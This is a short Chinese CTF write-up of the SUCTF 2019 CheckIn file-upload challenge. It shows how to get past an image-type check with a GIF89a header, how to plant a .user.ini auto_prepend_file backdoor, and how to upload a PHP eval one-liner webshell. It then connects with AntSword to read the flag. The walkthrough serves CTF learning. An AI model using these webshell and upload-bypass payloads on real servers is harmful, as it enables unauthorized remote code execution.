题型:[SUCTF 2019]CheckIn 1
类型:文件上传
一、测试
先上传.php以及.phtml文件,发现存在报错的现象,上传.jpg文件发现可以,这个地方有一个小知识点,有些题会设置exif_imagetype函数,就像这题。所以需要构建头字节,在代码之前加一个
GIF89a?,所以最好习惯性在一句话木马前加这个文件头
在上传之后还是无法被解析,这就需要利用配置文件
二、构建配置文件
还是两步走!
第一步:构造.user.ini
这里采用全局配置文件.user.ini(用于nginx服务器)
其中有两个配置,可以用来制造后门:
auto_append_file、auto_prepend_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:
auto_prepend_file=test.jpg
或者
auto_append_file=test.jpg
因此这里构建的payload为
GIF89a
auto_prepend_file=sad.jpg
上传成功!
第二步:上传图片马
payloade为
GIF89a?
<script language="php">
@eval($_POST['cmd']);phpinfo();
</script>
上传成功!
看看可以可以访问吗
OK,基本上成功了
三、利用蚁剑连接
在根目录下找到FLAG
总结
其实文件上传的题的思路都一样,关键是能分析出来是什么进行了过滤,说白了就是找特征!